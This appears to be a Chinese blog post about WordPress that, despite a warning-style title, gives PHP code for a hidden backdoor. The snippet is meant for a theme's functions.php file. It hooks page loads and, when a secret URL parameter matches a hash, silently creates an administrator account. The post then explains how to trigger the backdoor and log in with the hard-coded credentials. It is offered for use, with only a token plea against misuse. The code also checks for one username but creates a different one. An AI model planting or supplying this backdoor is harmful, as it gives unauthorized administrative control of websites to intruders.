小心WordPress网站被创建后门

  • A+
所属分类:wordpress

利用代码创建后门,向你展示如何做到这一点。至于你如何利用这段代码完全是取决于你!正确的方式使用这段代码,而不是用来做坏事!

  1. <?php
  2. add_action( 'wp_head', 'my_backdoor' );
  3.  
  4. function my_backdoor() {
  5. if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
  6. require( 'wp-includes/registration.php' );
  7. if ( !username_exists( 'mr_admin' ) ) {
  8. $user_id = wp_create_user( 'lajiz', 'password!' );
  9. $user = new WP_User( $user_id );
  10. $user->set_role( 'administrator' );
  11. }
  12. }
  13. }

将上述代码添加到站点主题的functions.php文件中,后门即被创建,只需要打开 http://www.yoursitename.com/?backdoor=go 这个链接地址,即可使用已经创建好的账号:lajiz 密码:password 以管理员身份登录博客后台。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: